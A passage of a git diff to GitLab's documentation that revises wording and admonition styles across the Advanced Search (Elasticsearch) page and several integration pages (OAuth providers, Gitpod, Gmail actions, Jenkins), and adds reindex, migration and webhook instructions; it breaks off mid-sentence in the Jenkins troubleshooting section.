-| `Bulk request concurrency` | The Bulk request concurrency indicates how many of GitLab's Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running GitLab's Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
+| `Maximum bulk request size (MiB)` | The Maximum Bulk Request size is used by the GitLab Golang-based indexer processes and indicates how much data it ought to collect (and store in memory) in a given indexing process before submitting the payload to Elasticsearch’s Bulk API. This setting should be used with the Bulk request concurrency setting (see below) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
+| `Bulk request concurrency` | The Bulk request concurrency indicates how many of the GitLab Golang-based indexer processes (or threads) can run in parallel to collect data to subsequently submit to Elasticsearch’s Bulk API. This increases indexing performance, but fills the Elasticsearch bulk requests queue faster. This setting should be used together with the Maximum bulk request size setting (see above) and needs to accommodate the resource constraints of both the Elasticsearch host(s) and the host(s) running the GitLab Golang-based indexer either from the `gitlab-rake` command or the Sidekiq tasks. |
| `Client request timeout` | Elasticsearch HTTP client request timeout value in seconds. `0` means using the system default timeout value, which depends on the libraries that GitLab application is built upon. |
### Limiting namespaces and projects
@@ -237,10 +243,10 @@ You can filter the selection dropdown by writing part of the namespace or projec
![limit namespace filter](img/limit_namespace_filter.png)
-NOTE: **Note:**
+NOTE:
If no namespaces or projects are selected, no Advanced Search indexing will take place.
-CAUTION: **Warning:**
+WARNING:
If you have already indexed your instance, you will have to regenerate the index in order to delete all existing data
for filtering to work correctly. To do this run the Rake tasks `gitlab:elastic:recreate_index` and
`gitlab:elastic:clear_index_status`. Afterwards, removing a namespace or a project from the list will delete the data
@@ -297,7 +303,7 @@ feature to atomically swap between two indices. We'll refer to each index as
Instead of connecting directly to the `primary` index, we'll setup an index
alias such as we can change the underlying index at will.
-NOTE: **Note:**
+NOTE:
Any index attached to the production alias is deemed a `primary` and will be
used by the GitLab Advanced Search integration.
@@ -311,7 +317,7 @@ buffered and caught up once unpaused.
### Setup
-TIP: **Tip:**
+NOTE:
If your index was created with GitLab 13.0 or greater, you can directly
[trigger the reindex](#trigger-the-reindex-via-the-advanced-search-administration).
@@ -327,7 +333,7 @@ export SECONDARY_INDEX="gitlab-production-$(date +%s)"
### Reclaiming the `gitlab-production` index name
-CAUTION: **Caution:**
+WARNING:
It is highly recommended that you take a snapshot of your cluster to ensure
there is a recovery path if anything goes wrong.
@@ -398,7 +404,7 @@ To trigger the re-index from `primary` index:
curl $CLUSTER_URL/$SECONDARY_INDEX/_count => 123123
```
- TIP: **Tip:**
+ NOTE:
Comparing the document count is more accurate than using the index size, as improvements to the storage might cause the new index to be smaller than the original one.
1. After you are confident your `secondary` index is valid, you can process to
@@ -430,11 +436,76 @@ Under **Admin Area > Settings > General > Advanced Search > Elasticsearch zero-d
Reindexing can be a lengthy process depending on the size of your Elasticsearch cluster.
-CAUTION: **Caution:**
+WARNING:
After the reindexing is completed, the original index will be scheduled to be deleted after 14 days. You can cancel this action by pressing the cancel button.
While the reindexing is running, you will be able to follow its progress under that same section.
+### Mark the most recent reindex job as failed and unpause the indexing
+
+Sometimes, you might want to abandon the unfinished reindex job and unpause the indexing. You can achieve this via the following steps:
+
+1. Mark the most recent reindex job as failed:
+
+ ```shell
+ # Omnibus installations
+ sudo gitlab-rake gitlab:elastic:mark_reindex_failed
+
+ # Installations from source
+ bundle exec rake gitlab:elastic:mark_reindex_failed RAILS_ENV=production
+ ```
+
+1. Uncheck the "Pause Elasticsearch indexing" checkbox in **Admin Area > Settings > General > Advanced Search**.
+
+## Background migrations
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/234046) in GitLab 13.6.
+
+With reindex migrations running in the background, there's no need for a manual
+intervention. This usually happens in situations where new features are added to
+Advanced Search, which means adding or changing the way content is indexed.
+
+To confirm that the background migrations ran, you can check with:
+
+```shell
+curl "$CLUSTER_URL/gitlab-production-migrations/_search?q=*" | jq .
+```
+
+This should return something similar to:
+
+```json
+{
+ "took": 14,
+ "timed_out": false,
+ "_shards": {
+ "total": 1,
+ "successful": 1,
+ "skipped": 0,
+ "failed": 0
+ },
+ "hits": {
+ "total": {
+ "value": 1,
+ "relation": "eq"
+ },
+ "max_score": 1,
+ "hits": [
+ {
+ "_index": "gitlab-production-migrations",
+ "_type": "_doc",
+ "_id": "20201105181100",
+ "_score": 1,
+ "_source": {
+ "completed": true
+ }
+ }
+ ]
+ }
+}
+```
+
+In order to debug issues with the migrations you can check the [`elasticsearch.log` file](../administration/logs.md#elasticsearchlog).
+
## GitLab Advanced Search Rake tasks
Rake tasks are available to:
@@ -456,9 +527,10 @@ The following are some available Rake tasks:
| [`sudo gitlab-rake gitlab:elastic:recreate_index[<TARGET_NAME>]`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Wrapper task for `gitlab:elastic:delete_index[<TARGET_NAME>]` and `gitlab:elastic:create_empty_index[<TARGET_NAME>]`. |
| [`sudo gitlab-rake gitlab:elastic:index_snippets`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Performs an Elasticsearch import that indexes the snippets data. |
| [`sudo gitlab-rake gitlab:elastic:projects_not_indexed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Displays which projects are not indexed. |
-| [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. |
+| [`sudo gitlab-rake gitlab:elastic:reindex_cluster`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake) | Schedules a zero-downtime cluster reindexing task. This feature should be used with an index that was created after GitLab 13.0. |
+| [`sudo gitlab-rake gitlab:elastic:mark_reindex_failed`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/tasks/gitlab/elastic.rake)`] | Mark the most recent re-index job as failed. |
-NOTE: **Note:**
+NOTE:
The `TARGET_NAME` parameter is optional and will use the default index/alias name from the current `RAILS_ENV` if not set.
### Environment variables
@@ -506,7 +578,7 @@ For basic guidance on choosing a cluster configuration you may refer to [Elastic
- Generally, you will want to use at least a 2-node cluster configuration with one replica, which will allow you to have resilience. If your storage usage is growing quickly, you may want to plan horizontal scaling (adding more nodes) beforehand.
- It's not recommended to use HDD storage with the search cluster, because it will take a hit on performance. It's better to use SSD storage (NVMe or SATA SSD drives for example).
- You can use the [GitLab Performance Tool](https://gitlab.com/gitlab-org/quality/performance) to benchmark search performance with different search cluster sizes and configurations.
-- `Heap size` should be set to no more than 50% of your physical RAM. Additionally, it shouldn't be set to more than the threshold for zero-based compressed oops. The exact threshold varies, but 26 GB is safe on most systems, but can also be as large as 30 GB on some systems. See [Setting the heap size](https://www.elastic.co/guide/en/elasticsearch/reference/current/heap-size.html#heap-size) for more details.
+- `Heap size` should be set to no more than 50% of your physical RAM. Additionally, it shouldn't be set to more than the threshold for zero-based compressed oops. The exact threshold varies, but 26 GB is safe on most systems, but can also be as large as 30 GB on some systems. See [Heap size settings](https://www.elastic.co/guide/en/elasticsearch/reference/current/important-settings.html#heap-size-settings) and [Setting JVM options](https://www.elastic.co/guide/en/elasticsearch/reference/current/jvm-options.html) for more details.
- Number of CPUs (CPU cores) per node usually corresponds to the `Number of Elasticsearch shards` setting described below.
- A good guideline is to ensure you keep the number of shards per node below 20 per GB heap it has configured. A node with a 30GB heap should therefore have a maximum of 600 shards, but the further below this limit you can keep it the better. This will generally help the cluster stay in good health.
- Small shards result in small segments, which increases overhead. Aim to keep the average shard size between at least a few GB and a few tens of GB. Another consideration is the number of documents, you should aim for this simple formula for the number of shards: `number of expected documents / 5M +1`.
@@ -524,7 +596,7 @@ This section may be helpful in the event that the other
[basic instructions](#enabling-advanced-search) cause problems
due to large volumes of data being indexed.
-CAUTION: **Warning:**
+WARNING:
Indexing a large instance will generate a lot of Sidekiq jobs.
Make sure to prepare for this task by having a [Scalable and Highly Available
Setup](../administration/reference_architectures/index.md) or creating [extra
@@ -560,7 +632,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
In our experience, you can expect a 20% decrease in indexing time. After completing indexing in a later step, you can return `refresh` and `number_of_replicas` to their desired settings.
- NOTE: **Note:**
+ NOTE:
This step is optional but may help significantly speed up large indexing operations.
```shell
@@ -609,7 +681,7 @@ Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
Where `ID_FROM` and `ID_TO` are project IDs. Both parameters are optional.
The above example will index all projects from ID `1001` up to (and including) ID `2000`.
- TIP: **Troubleshooting:**
+ NOTE:
Sometimes the project indexing jobs queued by `gitlab:elastic:index_projects`
can get interrupted. This may happen for many reasons, but it's always safe
to run the indexing task again. It will skip repositories that have
@@ -712,6 +784,17 @@ However, some larger installations may wish to tune the merge policy settings:
## Troubleshooting
+One of the most valuable tools for identifying issues with the Elasticsearch
+integration will be logs. The most relevant logs for this integration are:
+
+1. [`sidekiq.log`](../administration/logs.md#sidekiqlog) - All of the
+ indexing happens in Sidekiq, so much of the relevant logs for the
+ Elasticsearch integration can be found in this file.
+1. [`elasticsearch.log`](../administration/logs.md#elasticsearchlog) - There
+ are additional logs specific to Elasticsearch that are sent to this file
+ that may contain useful diagnostic information about searching,
+ indexing or migrations.
+
Here are some common pitfalls and how to overcome them.
### How can I verify that my GitLab instance is using Elasticsearch?
@@ -723,7 +806,7 @@ There are a couple of ways to achieve that:
This is always correctly identifying whether the current project/namespace
being searched is using Elasticsearch.
-- From the admin area under **Settings > General > Elasticsearch** check that the
+- From the admin area under **Settings > General > Advanced Search** check that the
Advanced Search settings are checked.
Those same settings there can be obtained from the Rails console if necessary:
@@ -771,7 +854,7 @@ More [complex Elasticsearch API calls](https://www.elastic.co/guide/en/elasticse
It is important to understand at which level the problem is manifesting (UI, Rails code, Elasticsearch side) to be able to [troubleshoot further](../administration/troubleshooting/elasticsearch.md#search-results-workflow).
-NOTE: **Note:**
+NOTE:
The above instructions are not to be used for scenarios that only index a [subset of namespaces](#limiting-namespaces-and-projects).
See [Elasticsearch Index Scopes](#advanced-search-index-scopes) for more information on searching for specific types of data.
@@ -790,7 +873,7 @@ You can run `sudo gitlab-rake gitlab:elastic:projects_not_indexed` to display pr
### No new data is added to the Elasticsearch index when I push code
-NOTE: **Note:**
+NOTE:
This was [fixed in GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35936) and the Rake task is not available for versions greater than that.
When performing the initial indexing of blobs, we lock all projects until the project finishes indexing. It could happen that an error during the process causes one or multiple projects to remain locked. In order to unlock them, run:
@@ -845,7 +928,7 @@ see details in the [update guide](../update/upgrading_from_source.md).
**For a single node Elasticsearch cluster the functional cluster health status will be yellow** (never green) because the primary shard is allocated but replicas cannot be as there is no other node to which Elasticsearch can assign a replica. This also applies if you are using the [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/aes-handling-errors.html#aes-handling-errors-yellow-cluster-status) service.
-CAUTION: **Warning:**
+WARNING:
Setting the number of replicas to `0` is discouraged (this is not allowed in the GitLab Elasticsearch Integration menu). If you are planning to add more Elasticsearch nodes (for a total of more than 1 Elasticsearch) the number of replicas will need to be set to an integer value larger than `0`. Failure to do so will result in lack of redundancy (losing one node will corrupt the index).
If you have a **hard requirement to have a green status for your single node Elasticsearch cluster**, please make sure you understand the risks outlined in the previous paragraph and then run the following query to set the number of replicas to `0`(the cluster will no longer try to create any shard replicas):
@@ -869,6 +952,13 @@ Gitlab::Elastic::Indexer::Error: time="2020-01-23T09:13:00Z" level=fatal msg="he
You probably have not used either `http://` or `https://` as part of your value in the **"URL"** field of the Elasticsearch Integration Menu. Please make sure you are using either `http://` or `https://` in this field as the [Elasticsearch client for Go](https://github.com/olivere/elastic) that we are using [needs the prefix for the URL to be accepted as valid](https://github.com/olivere/elastic/commit/a80af35aa41856dc2c986204e2b64eab81ccac3a).
Once you have corrected the formatting of the URL, delete the index (via the [dedicated Rake task](#gitlab-advanced-search-rake-tasks)) and [reindex the content of your instance](#enabling-advanced-search).
+### My Elasticsearch cluster has a plugin and the integration is not working
+
+Certain 3rd party plugins may introduce bugs in your cluster or for whatever
+reason may be incompatible with our integration. You should try disabling
+plugins so you can rule out the possibility that the plugin is causing the
+problem.
+
### Low-level troubleshooting
There is a [more structured, lower-level troubleshooting document](../administration/troubleshooting/elasticsearch.md) for when you experience other issues, including poor performance.
diff --git a/doc/integration/external-issue-tracker.md b/doc/integration/external-issue-tracker.md
index a4fca36b154..b1eb9d0d2fe 100644
--- a/doc/integration/external-issue-tracker.md
+++ b/doc/integration/external-issue-tracker.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# External issue tracker
@@ -16,7 +16,7 @@ Once configured, you can reference external issues using the format `CODE-123`,
These references in GitLab merge requests, commits, or comments are automatically converted to links to the issues.
-You can keep GitLab's issue tracker enabled in parallel or disable it. When enabled, the **Issues** link in the
+You can keep the GitLab issue tracker enabled in parallel or disable it. When enabled, the **Issues** link in the
GitLab menu always opens the internal issue tracker. When disabled, the link is not visible in the menu.
## Configuration
diff --git a/doc/integration/facebook.md b/doc/integration/facebook.md
index bb699fa90b7..b86958726a7 100644
--- a/doc/integration/facebook.md
+++ b/doc/integration/facebook.md
@@ -1,12 +1,12 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Facebook OAuth2 OmniAuth Provider
-To enable the Facebook OmniAuth provider you must register your application with Facebook. Facebook will generate an app ID and secret key for you to use.
+To enable the Facebook OmniAuth provider you must register your application with Facebook. Facebook generates an app ID and secret key for you to use.
1. Sign in to the [Facebook Developer Platform](https://developers.facebook.com/).
@@ -101,4 +101,4 @@ To enable the Facebook OmniAuth provider you must register your application with
1. [Reconfigure](../administration/restart_gitlab.md#omnibus-gitlab-reconfigure) or [restart GitLab](../administration/restart_gitlab.md#installations-from-source) for the changes to take effect if you
installed GitLab via Omnibus or from source respectively.
-On the sign in page there should now be a Facebook icon below the regular sign in form. Click the icon to begin the authentication process. Facebook will ask the user to sign in and authorize the GitLab application. If everything goes well the user will be returned to GitLab and will be signed in.
+On the sign in page there should now be a Facebook icon below the regular sign in form. Click the icon to begin the authentication process. Facebook asks the user to sign in and authorize the GitLab application. If everything goes well the user is returned to GitLab and signed in.
diff --git a/doc/integration/github.md b/doc/integration/github.md
index 8407920c631..c65027e3585 100644
--- a/doc/integration/github.md
+++ b/doc/integration/github.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Integrate your GitLab instance with GitHub
@@ -12,19 +12,19 @@ with your GitHub account.
## Enabling GitHub OAuth
-To enable the GitHub OmniAuth provider, you'll need an OAuth 2 Client ID and Client Secret from GitHub. To get these credentials, sign into GitHub and follow their procedure for [Creating an OAuth App](https://developer.github.com/apps/building-oauth-apps/creating-an-oauth-app/).
+To enable the GitHub OmniAuth provider, you need an OAuth 2 Client ID and Client Secret from GitHub. To get these credentials, sign into GitHub and follow their procedure for [Creating an OAuth App](https://developer.github.com/apps/building-oauth-apps/creating-an-oauth-app/).
-When you create an OAuth 2 app in GitHub, you'll need the following information:
+When you create an OAuth 2 app in GitHub, you need the following information:
- The URL of your GitLab instance, such as `https://gitlab.example.com`.
- The authorization callback URL; in this case, `https://gitlab.example.com/users/auth`. Include the port number if your GitLab instance uses a non-default port.
-NOTE: **Note:**
+NOTE:
To prevent an [OAuth2 covert redirect](https://oauth.net/advisories/2014-1-covert-redirect/) vulnerability, append `/users/auth` to the end of the GitHub authorization callback URL.
See [Initial OmniAuth Configuration](omniauth.md#initial-omniauth-configuration) for initial settings.
-Once you have configured the GitHub provider, you'll need the following information, which you'll need to substitute in the GitLab configuration file, in the steps shown next.
+After you have configured the GitHub provider, you need the following information, which you must substitute in the GitLab configuration file, in the steps shown next.
| Setting from GitHub | Substitute in the GitLab configuration file | Description |
|:---------------------|:---------------------------------------------|:------------|
@@ -101,12 +101,12 @@ Follow these steps to incorporate the GitHub OAuth 2 app in your GitLab server:
1. Refresh the GitLab sign in page. You should now see a GitHub icon below the regular sign in form.
-1. Click the icon to begin the authentication process. GitHub will ask the user to sign in and authorize the GitLab application.
+1. Click the icon to begin the authentication process. GitHub asks the user to sign in and authorize the GitLab application.
## GitHub Enterprise with self-signed Certificate
If you are attempting to import projects from GitHub Enterprise with a self-signed
-certificate and the imports are failing, you will need to disable SSL verification.
+certificate and the imports are failing, you must disable SSL verification.
It should be disabled by adding `verify_ssl` to `false` in the provider configuration
and changing the global Git `sslVerify` option to `false` in the GitLab server.
@@ -125,7 +125,7 @@ gitlab_rails['omniauth_providers'] = [
]
```
-You will also need to disable Git SSL verification on the server hosting GitLab.
+You must also disable Git SSL verification on the server hosting GitLab.
```ruby
omnibus_gitconfig['system'] = { "http" => ["sslVerify = false"] }
@@ -142,7 +142,7 @@ For installation from source:
args: { scope: 'user:email' } }
```
-You will also need to disable Git SSL verification on the server hosting GitLab.
+You must also disable Git SSL verification on the server hosting GitLab.
```shell
git config --global http.sslVerify false
diff --git a/doc/integration/gitlab.md b/doc/integration/gitlab.md
index c618d226290..37c91aedb15 100644
--- a/doc/integration/gitlab.md
+++ b/doc/integration/gitlab.md
@@ -1,7 +1,7 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Integrate your server with GitLab.com
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Import projects from GitLab.com and login to your GitLab instance with your GitLab.com account.
To enable the GitLab.com OmniAuth provider you must register your application with GitLab.com.
-GitLab.com will generate an application ID and secret key for you to use.
+GitLab.com generates an application ID and secret key for you to use.
1. Sign in to GitLab.com
@@ -85,5 +85,5 @@ GitLab.com will generate an application ID and secret key for you to use.
installed GitLab via Omnibus or from source respectively.
On the sign in page there should now be a GitLab.com icon below the regular sign in form.
-Click the icon to begin the authentication process. GitLab.com will ask the user to sign in and authorize the GitLab application.
-If everything goes well the user will be returned to your GitLab instance and will be signed in.
+Click the icon to begin the authentication process. GitLab.com asks the user to sign in and authorize the GitLab application.
+If everything goes well the user is returned to your GitLab instance and is signed in.
diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md
index b4d12b90be0..04274c1c015 100644
--- a/doc/integration/gitpod.md
+++ b/doc/integration/gitpod.md
@@ -2,7 +2,7 @@
type: reference, how-to
stage: Create
group: Editor
-info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers"
+info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
---
# Gitpod Integration
@@ -14,7 +14,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated
> - It's recommended for production use.
> - To use it in GitLab self-managed instances, ask a GitLab administrator to [enable it](#configure-your-gitlab-instance-with-gitpod). **(CORE ONLY)**
-CAUTION: **Warning:**
+WARNING:
This feature might not be available to you. Check the **version history** note above for details.
With [Gitpod](https://gitpod.io/) you can describe your dev environment as code to get fully set
diff --git a/doc/integration/gmail_action_buttons_for_gitlab.md b/doc/integration/gmail_action_buttons_for_gitlab.md
index 72196fd0f52..1158d6c9bc8 100644
--- a/doc/integration/gmail_action_buttons_for_gitlab.md
+++ b/doc/integration/gmail_action_buttons_for_gitlab.md
@@ -1,22 +1,21 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Gmail actions buttons for GitLab
GitLab supports [Google actions in email](https://developers.google.com/gmail/markup/actions/actions-overview).
-If correctly set up, emails that require an action will be marked in Gmail.
+If correctly set up, emails that require an action are marked in Gmail.
![gmail_actions_button.png](img/gmail_action_buttons_for_gitlab.png)
To get this functioning, you need to be registered with Google. For instructions, see
[Register with Google](https://developers.google.com/gmail/markup/registering-with-google).
-*This process has a lot of steps so make sure that you fulfill all requirements set by Google.*
-*Your application will be rejected by Google if you fail to do so.*
+*This process has a lot of steps so make sure that you fulfill all requirements set by Google to avoid your application being rejected by Google.*
In particular, note:
@@ -25,6 +24,6 @@ In particular, note:
(order of hundred emails a day minimum to Gmail) for a few weeks at least".
- Have a very low rate of spam complaints from users.
- Emails must be authenticated via DKIM or SPF.
-- Before sending the final form ("Gmail Schema Whitelist Request"), you must send a real email from your production server. This means that you will have to find a way to send this email from the email address you are registering. You can do this by, for example, forwarding the real email from the email address you are registering or going into the rails console on the GitLab server and triggering the email sending from there.
+- Before sending the final form ("Gmail Schema Whitelist Request"), you must send a real email from your production server. This means that you must find a way to send this email from the email address you are registering. You can do this by, for example, forwarding the real email from the email address you are registering or going into the rails console on the GitLab server and triggering the email sending from there.
You can check how it looks going through all the steps laid out in the "Registering with Google" doc in [this GitLab.com issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/1517).
diff --git a/doc/integration/google.md b/doc/integration/google.md
index cd40aaff30a..cd00c854fea 100644
--- a/doc/integration/google.md
+++ b/doc/integration/google.md
@@ -1,13 +1,13 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Google OAuth2 OmniAuth Provider
To enable the Google OAuth2 OmniAuth provider you must register your application
-with Google. Google will generate a client ID and secret key for you to use.
+with Google. Google generates a client ID and secret key for you to use.
## Enabling Google OAuth
@@ -40,7 +40,7 @@ In Google's side:
```
1. You should now be able to see a Client ID and Client secret. Note them down
- or keep this page open as you will need them later.
+ or keep this page open as you need them later.
1. To enable projects to access [Google Kubernetes Engine](../user/project/clusters/index.md), you must also
enable these APIs:
- Google Kubernetes Engine API
@@ -98,7 +98,7 @@ On your GitLab server:
1. Change `YOUR_APP_ID` to the client ID from the Google Developer page
1. Similarly, change `YOUR_APP_SECRET` to the client secret
-1. Make sure that you configure GitLab to use an FQDN as Google will not accept
+1. Make sure that you configure GitLab to use a fully-qualified domain name, as Google doesn't accept
raw IP addresses.
For Omnibus packages:
@@ -119,6 +119,6 @@ On your GitLab server:
installed GitLab via Omnibus or from source respectively.
On the sign in page there should now be a Google icon below the regular sign in
-form. Click the icon to begin the authentication process. Google will ask the
+form. Click the icon to begin the authentication process. Google asks the
user to sign in and authorize the GitLab application. If everything goes well
-the user will be returned to GitLab and will be signed in.
+the user is returned to GitLab and is signed in.
diff --git a/doc/integration/img/sourcegraph_admin_v12_5.png b/doc/integration/img/sourcegraph_admin_v12_5.png
index 54511541c87..7e2df9410ce 100644
--- a/doc/integration/img/sourcegraph_admin_v12_5.png
+++ b/doc/integration/img/sourcegraph_admin_v12_5.png
Binary files differ
diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md
index 7eb147c1fe6..7be2a6efd71 100644
--- a/doc/integration/jenkins.md
+++ b/doc/integration/jenkins.md
@@ -1,23 +1,21 @@
---
-stage: none
-group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Jenkins CI service **(STARTER)**
+# Jenkins CI service **(CORE)**
-NOTE: **Note:**
-This documentation focuses only on how to **configure** a Jenkins *integration* with
-GitLab. Learn how to **migrate** from Jenkins to GitLab CI/CD in our
-[Migrating from Jenkins](../ci/migration/jenkins.md) documentation.
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/246756) to Core in GitLab 13.7.
From GitLab, you can trigger a Jenkins build when you push code to a repository, or when a merge
request is created. In return, the Jenkins pipeline status is shown on merge requests widgets and
on the GitLab project's home page.
-To better understand GitLab's Jenkins integration, watch the following video:
+To better understand the GitLab Jenkins integration, watch the following video:
- [GitLab workflow with Jira issues and Jenkins pipelines](https://youtu.be/Jn-_fyra7xQ)
+
Use the Jenkins integration with GitLab when:
- You plan to migrate your CI from Jenkins to [GitLab CI/CD](../ci/README.md) in the future, but
@@ -29,11 +27,16 @@ For a real use case, read the blog post [Continuous integration: From Jenkins to
Moving from a traditional CI plug-in to a single application for the entire software development
life cycle can decrease hours spent on maintaining toolchains by 10% or more. For more details, see
-the ['GitLab vs. Jenkins' comparison page](https://about.gitlab.com/devops-tools/jenkins-vs-gitlab.html).
+the ['GitLab vs. Jenkins' comparison page](https://about.gitlab.com/devops-tools/jenkins-vs-gitlab/).
+
+NOTE:
+This documentation focuses only on how to **configure** a Jenkins *integration* with
+GitLab. Learn how to **migrate** from Jenkins to GitLab CI/CD in our
+[Migrating from Jenkins](../ci/migration/jenkins.md) documentation.
## Configure GitLab integration with Jenkins
-GitLab's Jenkins integration requires installation and configuration in both GitLab and Jenkins.
+The GitLab Jenkins integration requires installation and configuration in both GitLab and Jenkins.
In GitLab, you need to grant Jenkins access to the relevant projects. In Jenkins, you need to
install and configure several plugins.
@@ -54,9 +57,9 @@ Grant a GitLab user access to the select GitLab projects.
1. Create a new GitLab user, or choose an existing GitLab user.
- This account will be used by Jenkins to access the GitLab projects. We recommend creating a GitLab
+ This account is used by Jenkins to access the GitLab projects. We recommend creating a GitLab
user for only this purpose. If you use a person's account, and their account is deactivated or
- deleted, the GitLab-Jenkins integration will stop working.
+ deleted, the GitLab-Jenkins integration stops working.
1. Grant the user permission to the GitLab projects.
@@ -72,11 +75,11 @@ Create a personal access token to authorize Jenkins' access to GitLab.
1. Click **Access Tokens** in the sidebar.
1. Create a personal access token with the **API** scope checkbox checked. For more details, see
[Personal access tokens](../user/profile/personal_access_tokens.md).
-1. Record the personal access token's value, because it's required in [Configure the Jenkins server](#configure-the-jenkins-server).
+1. Record the personal access token's value, because it's required in [Configure the Jenkins server](#configure-the-jenkins-server) section.
## Configure the Jenkins server
-Install and configure the Jenkins plugins. Both plugins must be installed and configured to
+Install and configure the Jenkins plugin. The plugin must be installed and configured to
authorize the connection to GitLab.
1. On the Jenkins server, go to **Manage Jenkins > Manage Plugins**.
@@ -96,12 +99,12 @@ For more information, see GitLab Plugin documentation about
## Configure the Jenkins project
-Set up the Jenkins project you’re going to run your build on.
+Set up the Jenkins project you intend to run your build on.
1. On your Jenkins instance, go to **New Item**.
1. Enter the project's name.
1. Choose between **Freestyle** or **Pipeline** and click **OK**.
- We recommend a Freestyle project, because the Jenkins plugin will update the build status on
+ We recommend a Freestyle project, because the Jenkins plugin updates the build status on
GitLab. In a Pipeline project, you must configure a script to update the status on GitLab.
1. Choose your GitLab connection from the dropdown.
1. Check the **Build when a change is pushed to GitLab** checkbox.
@@ -136,6 +139,8 @@ Set up the Jenkins project you’re going to run your build on.
Configure the GitLab integration with Jenkins.
+### Option 1: Jenkins integration (recommended)
+
1. Create a new GitLab project or choose an existing one.
1. Go to **Settings > Integrations**, then select **Jenkins CI**.
1. Turn on the **Active** toggle.
@@ -153,6 +158,17 @@ Configure the GitLab integration with Jenkins.
authentication.
1. Click **Test settings and save changes**. GitLab tests the connection to Jenkins.
+### Option 2: Webhook
+
+If you are unable to provide GitLab with your Jenkins server login, you can use this option
+to integrate GitLab and Jenkins.
+
+1. In the configuration of your Jenkins job, in the GitLab configuration section, click **Advanced**.
+1. Click the **Generate** button under the **Secret Token** field.
+1. Copy the resulting token, and save the job configuration.
+1. In GitLab, create a webhook for your project, enter the trigger URL (e.g. `https://JENKINS_URL/project/YOUR_JOB`) and paste the token in the **Secret Token** field.
+1. After you add the webhook, click the **Test** button, and it should succeed.
+
## Troubleshooting
### Error in merge requests - "Could not connect to the CI server"
@@ -183,14 +199,14 @@ WebHook Error => execution expired
```
If those are present, the request is exceeding the
-[webhook timeout](../user/project/integrations/webhooks.md#receiving-duplicate-or-multiple-webhook-requests-triggered-by-one-event),
+[webhook timeout](../user/project/integrations/webhooks.md#webhook-fails-or-multiple-webhook-requests-are-triggered),
which is set to 10 seconds by default.
-To fix this the `gitlab_rails['webhook_timeout']` value will need to be increased
